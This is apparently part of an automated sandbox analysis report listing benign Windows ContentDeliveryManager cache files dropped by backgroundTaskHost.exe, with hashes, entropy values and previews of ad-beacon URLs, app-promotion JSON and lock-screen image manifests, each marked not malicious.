                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\ContentManagementSDK\Creatives\338388\imprbeacons.dat (copy)

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                        File Type:ASCII text, with very long lines, with CRLF line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):1573
                                                                                        Entropy (8bit):5.2095000573373875
                                                                                        Encrypted:false
                                                                                        SSDEEP:24:28yjzVHqCq1+k+MqiUelYWHLVHe6DjL1UfsLNUN5STUTrKtUYD2iYsiIj:QjhKCq+kaibZ+6T+sBvT+qDFSa
                                                                                        MD5:6E7A4BCF41106968193663D864E12A96
                                                                                        SHA1:515DD01ED5DA58EFA596DD66FB3ED374C82E4796
                                                                                        SHA-256:5DA6FB880F2B93A827A793FF66BA0FDC158E25B5E9F782F2B449BD79AD1CD762
                                                                                        SHA-512:697130015BB216CDF99680EB86488DC623A5CD1AE9098CB8A0BC641F46EEB48F82BAA7D56076C994B6175649AA9AA9EE4C62661500831406FD7F33EEA1C99B50
                                                                                        Malicious:false
                                                                                        Reputation:unknown
                                                                                        Preview:https://arc.msn.com/v3/Delivery/Events/Impression=&PID=400091688&TID=700129702&CID=128000000000402926&BID=478363142&PG=PC000P0FR5.0000000IRT&TPID=400091688&REQASID=E4B629D499B64EBDB8378EBB870CEF30&ASID=4c36159ae5ee4f6e9686eaabcf07c89c&TIME=20220720T061015Z&SLOT=1&REQT=20220720T060939&MA_Score=2&PERSID=1A4A490328ED3BBECC8505EAE64E45F5&GLOBALDEVICEID=6966530473343700&LOCALID=w:D9BC7EDF-91E8-C8ED-3ED4-3B144B30C00C&DS_EVTID=57e3123c03f642ef9913bd3119f480bd&BCNT=1&PG=PC000P0FR5.0000000IRT&UNID=338388&MAP_TID=95CA6991-E519-4FF5-B318-770BA286BED1&NCT=1&PN=DA63DF93-3DBC-42AE-A505-B34988683AC7&ASID=E4B629D499B64EBDB8378EBB870CEF30&REQASID=E4B629D499B64EBDB8378EBB870CEF30&ARC=1&EMS=1&AUTH=1&LOCALE=EN-US&COUNTRY=US&HTD=-1&LANG=1033&DEVLANG=EN&CIP=84.17.52.2&ID=1A4A490328ED3BBECC8505EAE64E45F5&OPTOUTSTATE=256&HTTPS=1&PRODID=00000000-0000-0000-0000-000000000000&DVTP=2&DEVOSVER=10.0.17134.1&DEVOSMAJ=10&DEVOSMIN=0&DEVOSBLD=17134&DEVOSMINBLD=1&LOD=1118&LOH=24&LO=1610636&RAFB=0&MARKETBASEDCOUNTRY=US&CL

                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\ContentManagementSDK\Creatives\338388\imprbeacons.dat.~tmp

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                        File Type:ASCII text, with very long lines, with CRLF line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):1573
                                                                                        Entropy (8bit):5.2095000573373875
                                                                                        Encrypted:false
                                                                                        SSDEEP:24:28yjzVHqCq1+k+MqiUelYWHLVHe6DjL1UfsLNUN5STUTrKtUYD2iYsiIj:QjhKCq+kaibZ+6T+sBvT+qDFSa
                                                                                        MD5:6E7A4BCF41106968193663D864E12A96
                                                                                        SHA1:515DD01ED5DA58EFA596DD66FB3ED374C82E4796
                                                                                        SHA-256:5DA6FB880F2B93A827A793FF66BA0FDC158E25B5E9F782F2B449BD79AD1CD762
                                                                                        SHA-512:697130015BB216CDF99680EB86488DC623A5CD1AE9098CB8A0BC641F46EEB48F82BAA7D56076C994B6175649AA9AA9EE4C62661500831406FD7F33EEA1C99B50
                                                                                        Malicious:false
                                                                                        Reputation:unknown
                                                                                        Preview:https://arc.msn.com/v3/Delivery/Events/Impression=&PID=400091688&TID=700129702&CID=128000000000402926&BID=478363142&PG=PC000P0FR5.0000000IRT&TPID=400091688&REQASID=E4B629D499B64EBDB8378EBB870CEF30&ASID=4c36159ae5ee4f6e9686eaabcf07c89c&TIME=20220720T061015Z&SLOT=1&REQT=20220720T060939&MA_Score=2&PERSID=1A4A490328ED3BBECC8505EAE64E45F5&GLOBALDEVICEID=6966530473343700&LOCALID=w:D9BC7EDF-91E8-C8ED-3ED4-3B144B30C00C&DS_EVTID=57e3123c03f642ef9913bd3119f480bd&BCNT=1&PG=PC000P0FR5.0000000IRT&UNID=338388&MAP_TID=95CA6991-E519-4FF5-B318-770BA286BED1&NCT=1&PN=DA63DF93-3DBC-42AE-A505-B34988683AC7&ASID=E4B629D499B64EBDB8378EBB870CEF30&REQASID=E4B629D499B64EBDB8378EBB870CEF30&ARC=1&EMS=1&AUTH=1&LOCALE=EN-US&COUNTRY=US&HTD=-1&LANG=1033&DEVLANG=EN&CIP=84.17.52.2&ID=1A4A490328ED3BBECC8505EAE64E45F5&OPTOUTSTATE=256&HTTPS=1&PRODID=00000000-0000-0000-0000-000000000000&DVTP=2&DEVOSVER=10.0.17134.1&DEVOSMAJ=10&DEVOSMIN=0&DEVOSBLD=17134&DEVOSMINBLD=1&LOD=1118&LOH=24&LO=1610636&RAFB=0&MARKETBASEDCOUNTRY=US&CL

                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\280815\a252c94aa10b4e29b15813d0ca87a04f_1 (copy)

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                        File Type:ASCII text, with very long lines, with no line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):1753
                                                                                        Entropy (8bit):5.572808999820218
                                                                                        Encrypted:false
                                                                                        SSDEEP:48:YrLtX3Pi8kLs/KVXUDi3blHFzkwhy8ELg8:EV3PjsPXUcluGy86H
                                                                                        MD5:F82D057B6A843C63E8121872186081FC
                                                                                        SHA1:919F34623A1AE1EDFE581DD9026E961DBC0AF1C5
                                                                                        SHA-256:43FB667C34997DF59ABB1088B369E11C4F6DD675FCDEF891F6292D6A1A0BFC85
                                                                                        SHA-512:B4FFF727C03CF9BC261DD9B8395AC506E0B66E8A7CC715FE134E0CB73E47CE3A425AB476D34E64B3B33842162E45043FA5B823013613969725005A2CD5B7D88F
                                                                                        Malicious:false
                                                                                        Reputation:unknown
                                                                                        Preview:{"class":"content","collections":[],"itemPropertyManifest":{"noOp":{"type":"action"}},"items":[{"properties":{"noOp":{"event":"none","parameters":{"ctx.action":"noOp","ctx.containerPath":"//item[0]","ctx.contentId":"a252c94aa10b4e29b15813d0ca87a04f","ctx.creativeId":"1658297345`128000000001627409`0`a252c94aa10b4e29b15813d0ca87a04f`604800`280815`137271744000000000","ctx.cv":"QFdfJcyGiUelCHpt.0","ctx.expiration":"137271744000000000","ctx.placementId":"SubscribedContent-280815","noOp":"//item[0]/property[noOp]"},"action":"noOp"}},"tracking":{"events":[{"id":"//item[0]?eventName=impression","name":"impression"}],"parameterized":[{"uri":"https://ris.api.iris.microsoft.com/v1/a/{ACTION}?CID=128000000001627409&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID={EID}&&PID=425116123&UIT=P-&TargetID=700333390&AN=2053692163&PG=PC000P0FR5.0000000INM&REQASID=4B586759B8644558B8F21A937594313F&UNID=280815&ID=1A4A490328ED3BBECC8505EAE64E45F5&ASID={ASID}

                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\280815\a252c94aa10b4e29b15813d0ca87a04f_1.~tmp

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                        File Type:ASCII text, with very long lines, with no line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):1753
                                                                                        Entropy (8bit):5.572808999820218
                                                                                        Encrypted:false
                                                                                        SSDEEP:48:YrLtX3Pi8kLs/KVXUDi3blHFzkwhy8ELg8:EV3PjsPXUcluGy86H
                                                                                        MD5:F82D057B6A843C63E8121872186081FC
                                                                                        SHA1:919F34623A1AE1EDFE581DD9026E961DBC0AF1C5
                                                                                        SHA-256:43FB667C34997DF59ABB1088B369E11C4F6DD675FCDEF891F6292D6A1A0BFC85
                                                                                        SHA-512:B4FFF727C03CF9BC261DD9B8395AC506E0B66E8A7CC715FE134E0CB73E47CE3A425AB476D34E64B3B33842162E45043FA5B823013613969725005A2CD5B7D88F
                                                                                        Malicious:false
                                                                                        Reputation:unknown
                                                                                        Preview:{"class":"content","collections":[],"itemPropertyManifest":{"noOp":{"type":"action"}},"items":[{"properties":{"noOp":{"event":"none","parameters":{"ctx.action":"noOp","ctx.containerPath":"//item[0]","ctx.contentId":"a252c94aa10b4e29b15813d0ca87a04f","ctx.creativeId":"1658297345`128000000001627409`0`a252c94aa10b4e29b15813d0ca87a04f`604800`280815`137271744000000000","ctx.cv":"QFdfJcyGiUelCHpt.0","ctx.expiration":"137271744000000000","ctx.placementId":"SubscribedContent-280815","noOp":"//item[0]/property[noOp]"},"action":"noOp"}},"tracking":{"events":[{"id":"//item[0]?eventName=impression","name":"impression"}],"parameterized":[{"uri":"https://ris.api.iris.microsoft.com/v1/a/{ACTION}?CID=128000000001627409&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID={EID}&&PID=425116123&UIT=P-&TargetID=700333390&AN=2053692163&PG=PC000P0FR5.0000000INM&REQASID=4B586759B8644558B8F21A937594313F&UNID=280815&ID=1A4A490328ED3BBECC8505EAE64E45F5&ASID={ASID}

                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\314559\c069b9331e0248a9a4f583bcacc849e3_1 (copy)

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                        File Type:ASCII text, with very long lines, with no line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):84130
                                                                                        Entropy (8bit):5.5993577908611245
                                                                                        Encrypted:false
                                                                                        SSDEEP:1536:dcdhshohhrL7LFLcI535B5EnEOExEw8Lt9GrpnGrp0Grp6sT5O+O7Ow9p9pyp+jg:dcdhshohhrL7LFLcI535B5EnEOExEw8f
                                                                                        MD5:895C2E09B29103EB5ECEDE2679C4A08C
                                                                                        SHA1:7F2251495FFCCA5DAE758FA96A29A012D6312055
                                                                                        SHA-256:9B1703424DD0BC5F7E9CE06FED4857A54EAABE12E056636E0DD9EFF95814FDCC
                                                                                        SHA-512:AF1EAEDE32EB90DD04A873EFC80FFFA716CF447F177387908A0E113089E8E9C16755101F34F4C99C55F2A6C47FEA52813355A68CE7D37A58FB8DA5D1FBC94FA7
                                                                                        Malicious:false
                                                                                        Reputation:unknown
                                                                                        Preview:{"itemPropertyManifest":{"storeCampaignId":{"type":"text","isOptional":true},"installApp":{"type":"boolean"},"installDelay":{"type":"text"},"swapStartTile":{"type":"action"},"displayName":{"type":"text"},"phoneticName":{"type":"text"},"packageSize":{"type":"numeric"},"launchStore":{"type":"action"},"onRender":{"type":"action"},"showNameOnMediumTile":{"type":"boolean"},"showNameOnWideTile":{"type":"boolean"},"showNameOnLargeTile":{"type":"boolean"},"smallTile":{"type":"image"},"collection":{"type":"numeric"},"mediumTile":{"type":"image"},"backgroundColor":{"type":"text"}},"propertyManifest":{},"properties":{},"tracking":{"events":[{"id":"/?eventName=impression","name":"impression"}],"parameterized":[{"uri":"https://ris.api.iris.microsoft.com/v1/a/{ACTION}?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=c4dc8bd937f04450a8fcc1f8072270f0&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.1713

                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\314559\c069b9331e0248a9a4f583bcacc849e3_1.~tmp

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                        File Type:ASCII text, with very long lines, with no line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):84130
                                                                                        Entropy (8bit):5.5993577908611245
                                                                                        Encrypted:false
                                                                                        SSDEEP:1536:dcdhshohhrL7LFLcI535B5EnEOExEw8Lt9GrpnGrp0Grp6sT5O+O7Ow9p9pyp+jg:dcdhshohhrL7LFLcI535B5EnEOExEw8f
                                                                                        MD5:895C2E09B29103EB5ECEDE2679C4A08C
                                                                                        SHA1:7F2251495FFCCA5DAE758FA96A29A012D6312055
                                                                                        SHA-256:9B1703424DD0BC5F7E9CE06FED4857A54EAABE12E056636E0DD9EFF95814FDCC
                                                                                        SHA-512:AF1EAEDE32EB90DD04A873EFC80FFFA716CF447F177387908A0E113089E8E9C16755101F34F4C99C55F2A6C47FEA52813355A68CE7D37A58FB8DA5D1FBC94FA7
                                                                                        Malicious:false
                                                                                        Reputation:unknown
                                                                                        Preview:{"itemPropertyManifest":{"storeCampaignId":{"type":"text","isOptional":true},"installApp":{"type":"boolean"},"installDelay":{"type":"text"},"swapStartTile":{"type":"action"},"displayName":{"type":"text"},"phoneticName":{"type":"text"},"packageSize":{"type":"numeric"},"launchStore":{"type":"action"},"onRender":{"type":"action"},"showNameOnMediumTile":{"type":"boolean"},"showNameOnWideTile":{"type":"boolean"},"showNameOnLargeTile":{"type":"boolean"},"smallTile":{"type":"image"},"collection":{"type":"numeric"},"mediumTile":{"type":"image"},"backgroundColor":{"type":"text"}},"propertyManifest":{},"properties":{},"tracking":{"events":[{"id":"/?eventName=impression","name":"impression"}],"parameterized":[{"uri":"https://ris.api.iris.microsoft.com/v1/a/{ACTION}?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=c4dc8bd937f04450a8fcc1f8072270f0&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.1713

                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\314559\ec2382d5001e499494762dbcf909584a_1 (copy)

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                        File Type:ASCII text, with very long lines, with no line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):51075
                                                                                        Entropy (8bit):5.588551283879908
                                                                                        Encrypted:false
                                                                                        SSDEEP:1536:JioMBVpVbdP0urQ1wO6im/HmneBWED+uO:JioMBVpVbdP0uYwO6im/HmneBWED+uO
                                                                                        MD5:16670845EB5D6B96B1F3DEFCE93F9184
                                                                                        SHA1:C71459606A2EFE1F0CAAA1C6D4C1CD012F196B37
                                                                                        SHA-256:8814DBF20A6876A36BA1261A0FD1E4AF35751C3F0C2B07188CF79215CC09ACDF
                                                                                        SHA-512:C103A1F5C146BB0D47B653D46776D29DDB13DD1B6CE924B101A76BD51CC9F535224C8E25239772BD2F9423F44858897311945A35B5C41D92C9F8F5CF86BD84A9
                                                                                        Malicious:false
                                                                                        Reputation:unknown
                                                                                        Preview:{"itemPropertyManifest":{"storeCampaignId":{"type":"text","isOptional":true},"installApp":{"type":"boolean"},"installDelay":{"type":"text"},"swapStartTile":{"type":"action"},"displayName":{"type":"text"},"phoneticName":{"type":"text"},"packageSize":{"type":"numeric"},"launchStore":{"type":"action"},"onRender":{"type":"action"},"showNameOnMediumTile":{"type":"boolean"},"showNameOnWideTile":{"type":"boolean"},"showNameOnLargeTile":{"type":"boolean"},"smallTile":{"type":"image"},"collection":{"type":"numeric"},"mediumTile":{"type":"image"},"backgroundColor":{"type":"text"}},"propertyManifest":{},"properties":{},"tracking":{"events":[{"id":"/?eventName=impression","name":"impression"}],"parameterized":[{"uri":"https://ris.api.iris.microsoft.com/v1/a/{ACTION}?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=145d986f71df41ff8ce2c3f397f36d63&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.1713

                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\314559\ec2382d5001e499494762dbcf909584a_1.~tmp

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                        File Type:ASCII text, with very long lines, with no line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):51075
                                                                                        Entropy (8bit):5.588551283879908
                                                                                        Encrypted:false
                                                                                        SSDEEP:1536:JioMBVpVbdP0urQ1wO6im/HmneBWED+uO:JioMBVpVbdP0uYwO6im/HmneBWED+uO
                                                                                        MD5:16670845EB5D6B96B1F3DEFCE93F9184
                                                                                        SHA1:C71459606A2EFE1F0CAAA1C6D4C1CD012F196B37
                                                                                        SHA-256:8814DBF20A6876A36BA1261A0FD1E4AF35751C3F0C2B07188CF79215CC09ACDF
                                                                                        SHA-512:C103A1F5C146BB0D47B653D46776D29DDB13DD1B6CE924B101A76BD51CC9F535224C8E25239772BD2F9423F44858897311945A35B5C41D92C9F8F5CF86BD84A9
                                                                                        Malicious:false
                                                                                        Reputation:unknown
                                                                                        Preview:{"itemPropertyManifest":{"storeCampaignId":{"type":"text","isOptional":true},"installApp":{"type":"boolean"},"installDelay":{"type":"text"},"swapStartTile":{"type":"action"},"displayName":{"type":"text"},"phoneticName":{"type":"text"},"packageSize":{"type":"numeric"},"launchStore":{"type":"action"},"onRender":{"type":"action"},"showNameOnMediumTile":{"type":"boolean"},"showNameOnWideTile":{"type":"boolean"},"showNameOnLargeTile":{"type":"boolean"},"smallTile":{"type":"image"},"collection":{"type":"numeric"},"mediumTile":{"type":"image"},"backgroundColor":{"type":"text"}},"propertyManifest":{},"properties":{},"tracking":{"events":[{"id":"/?eventName=impression","name":"impression"}],"parameterized":[{"uri":"https://ris.api.iris.microsoft.com/v1/a/{ACTION}?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=145d986f71df41ff8ce2c3f397f36d63&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.1713

                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\338387\3e50d6fc45cd4b549ac164f910b5c353_1 (copy)

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                        File Type:UTF-8 Unicode text, with very long lines, with no line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):9698
                                                                                        Entropy (8bit):5.6238757012062255
                                                                                        Encrypted:false
                                                                                        SSDEEP:192:n/lhHlAAvKNhSdttlHB5+I16EYXcI16lR95HI16Mc9Mi:NbGYhT16f16z9C16mi
                                                                                        MD5:EED642DC40AC25BEDC0BC772B4AA0F79
                                                                                        SHA1:81E3392B00816E8F2F5FE9FAB9E31E836029190E
                                                                                        SHA-256:7440DA454D9A99E9C691314DB0738BBD295FDA61C8EA15209508FC0E46FF12A6
                                                                                        SHA-512:B370C4B2B8A47E49BBEAB7D5B11B4177F0FFECCE0D672B2BD5326C24D1288935C17A3F62179DD17EECD1AECF00DA6F47EFEC5ABA419E28FB0FA9DEA191378A3F
                                                                                        Malicious:false
                                                                                        Reputation:unknown
                                                                                        Preview:{"class":"content","collections":[],"name":"LockScreen","propertyManifest":{"landscapeImage":{"type":"image"},"portraitImage":{"type":"image"},"showImageOnSecureLock":{"isOptional":true,"type":"boolean"},"onRender":{"type":"action"}},"properties":{"landscapeImage":{"fileSize":1708865,"height":1080,"sha256":"D0HX28nyO5NQd6kgwDFGgC/6JrE0LlomLmJ1DdzdriE=","width":1920,"image":"C:\\Users\\user\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\cf0e347e4829f32b660aa0a3b28c38bd7cba4cc57aa78e26c6d08bdb37dbb4a7"},"portraitImage":{"fileSize":1660833,"height":1920,"sha256":"PpfCRreo37BZAhX8PHI2WD1K/f7wMV2Jdwu4/nMF3xw=","width":1080,"image":"C:\\Users\\user\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\963e3f45523380a2c6863a4e725418b8c00a5272db711428aa77a85033610e1c"},"showImageOnSecureLock":{"bool":true},"onRender":{"event":"none","parameters":{"ctx.action":"setLockScreenHotspots","ctx.

                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\338387\3e50d6fc45cd4b549ac164f910b5c353_1.~tmp

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                        File Type:UTF-8 Unicode text, with very long lines, with no line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):9698
                                                                                        Entropy (8bit):5.6238757012062255
                                                                                        Encrypted:false
                                                                                        SSDEEP:192:n/lhHlAAvKNhSdttlHB5+I16EYXcI16lR95HI16Mc9Mi:NbGYhT16f16z9C16mi
                                                                                        MD5:EED642DC40AC25BEDC0BC772B4AA0F79
                                                                                        SHA1:81E3392B00816E8F2F5FE9FAB9E31E836029190E
                                                                                        SHA-256:7440DA454D9A99E9C691314DB0738BBD295FDA61C8EA15209508FC0E46FF12A6
                                                                                        SHA-512:B370C4B2B8A47E49BBEAB7D5B11B4177F0FFECCE0D672B2BD5326C24D1288935C17A3F62179DD17EECD1AECF00DA6F47EFEC5ABA419E28FB0FA9DEA191378A3F
                                                                                        Malicious:false
                                                                                        Reputation:unknown
                                                                                        Preview:{"class":"content","collections":[],"name":"LockScreen","propertyManifest":{"landscapeImage":{"type":"image"},"portraitImage":{"type":"image"},"showImageOnSecureLock":{"isOptional":true,"type":"boolean"},"onRender":{"type":"action"}},"properties":{"landscapeImage":{"fileSize":1708865,"height":1080,"sha256":"D0HX28nyO5NQd6kgwDFGgC/6JrE0LlomLmJ1DdzdriE=","width":1920,"image":"C:\\Users\\user\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\cf0e347e4829f32b660aa0a3b28c38bd7cba4cc57aa78e26c6d08bdb37dbb4a7"},"portraitImage":{"fileSize":1660833,"height":1920,"sha256":"PpfCRreo37BZAhX8PHI2WD1K/f7wMV2Jdwu4/nMF3xw=","width":1080,"image":"C:\\Users\\user\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\963e3f45523380a2c6863a4e725418b8c00a5272db711428aa77a85033610e1c"},"showImageOnSecureLock":{"bool":true},"onRender":{"event":"none","parameters":{"ctx.action":"setLockScreenHotspots","ctx.

                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\338387\7133306ac16144a6b826adef023897d6_1 (copy)

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                        File Type:UTF-8 Unicode text, with very long lines, with no line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):9542
                                                                                        Entropy (8bit):5.6509579629843305
                                                                                        Encrypted:false
                                                                                        SSDEEP:192:qvSNFAvKtCsTtlHB5GI16zdQ7f4N7VxI16S3vLI16n4:PL316JC4fS16Ac164
                                                                                        MD5:582892204DEA0CB22DB1DD3DC783BD18
                                                                                        SHA1:BF0ABEFF7CA4A27C10C2CC75D3F25EA63CF0FCDF
                                                                                        SHA-256:EB0B13C7A0BD5916E39B7FBB7F7FA077916C25D77E8641522FC926FC61221117
                                                                                        SHA-512:628D75533332CA22C4D4239E093A85F74C5089E306340D7195FF448050FC711A692D15F82ADF982A10D40CA0521CBDB1E93FA8BF5CBA5FC9694A3ABC239F34A3
                                                                                        Malicious:false
                                                                                        Reputation:unknown
                                                                                        Preview:{"class":"content","collections":[],"name":"LockScreen","propertyManifest":{"landscapeImage":{"type":"image"},"portraitImage":{"type":"image"},"showImageOnSecureLock":{"isOptional":true,"type":"boolean"},"onRender":{"type":"action"}},"properties":{"landscapeImage":{"fileSize":1726751,"height":1080,"sha256":"FODIjuYHH6qyQeqhjswuNT2FzNKSH1jDedjegdMgVrM=","width":1920,"image":"C:\\Users\\user\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\79baa2adc8e91557dcbf0dc6da261922336aea8bf53601dfe72e6512b093d962"},"portraitImage":{"fileSize":1639061,"height":1920,"sha256":"HHqNYYQrgUptR+97y2SLsTFNqN0NYV8NdFC1UUY+Ih8=","width":1080,"image":"C:\\Users\\user\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\cd08622aeb1e5982bb375627846e975e2d2650c8de5ca8a1dd8032bba2ec3a20"},"showImageOnSecureLock":{"bool":true},"onRender":{"event":"none","parameters":{"ctx.action":"setLockScreenHotspots","ctx.

                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\338387\7133306ac16144a6b826adef023897d6_1.~tmp

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                        File Type:UTF-8 Unicode text, with very long lines, with no line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):9542
                                                                                        Entropy (8bit):5.6509579629843305
                                                                                        Encrypted:false
                                                                                        SSDEEP:192:qvSNFAvKtCsTtlHB5GI16zdQ7f4N7VxI16S3vLI16n4:PL316JC4fS16Ac164
                                                                                        MD5:582892204DEA0CB22DB1DD3DC783BD18
                                                                                        SHA1:BF0ABEFF7CA4A27C10C2CC75D3F25EA63CF0FCDF
                                                                                        SHA-256:EB0B13C7A0BD5916E39B7FBB7F7FA077916C25D77E8641522FC926FC61221117
                                                                                        SHA-512:628D75533332CA22C4D4239E093A85F74C5089E306340D7195FF448050FC711A692D15F82ADF982A10D40CA0521CBDB1E93FA8BF5CBA5FC9694A3ABC239F34A3
                                                                                        Malicious:false
                                                                                        Reputation:unknown
                                                                                        Preview:{"class":"content","collections":[],"name":"LockScreen","propertyManifest":{"landscapeImage":{"type":"image"},"portraitImage":{"type":"image"},"showImageOnSecureLock":{"isOptional":true,"type":"boolean"},"onRender":{"type":"action"}},"properties":{"landscapeImage":{"fileSize":1726751,"height":1080,"sha256":"FODIjuYHH6qyQeqhjswuNT2FzNKSH1jDedjegdMgVrM=","width":1920,"image":"C:\\Users\\user\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\79baa2adc8e91557dcbf0dc6da261922336aea8bf53601dfe72e6512b093d962"},"portraitImage":{"fileSize":1639061,"height":1920,"sha256":"HHqNYYQrgUptR+97y2SLsTFNqN0NYV8NdFC1UUY+Ih8=","width":1080,"image":"C:\\Users\\user\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\cd08622aeb1e5982bb375627846e975e2d2650c8de5ca8a1dd8032bba2ec3a20"},"showImageOnSecureLock":{"bool":true},"onRender":{"event":"none","parameters":{"ctx.action":"setLockScreenHotspots","ctx.

                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\338387\d04edb701283497a9785d88eebcdcf04_1 (copy)

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                        File Type:UTF-8 Unicode text, with very long lines, with no line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):9506
                                                                                        Entropy (8bit):5.630744802541016
                                                                                        Encrypted:false
                                                                                        SSDEEP:192:LDKgq2+DKo2fAvK/W64tlHB5GI163G83XI16mFQpI167/:xyX16W83Y16yT16z
                                                                                        MD5:25474250932DB41C03F29C275A268317
                                                                                        SHA1:82D2A6BBFCAB6E6DEF4B9FC6864225E8F3821B9C
                                                                                        SHA-256:7BD042D3CB9209395FA29B6B7A3EDAE5AA6BA3354FFE6584556EBBC8D18AFFC2
                                                                                        SHA-512:2BC1A97A9572A9B30531DF7AF913A79831B54FE01F715BB25C818677989F6D8CF1430CC05102DDDDA66B8022D184555CEB8E7AD3C769956B4499B3E2172ACCCB
                                                                                        Malicious:false
                                                                                        Reputation:unknown
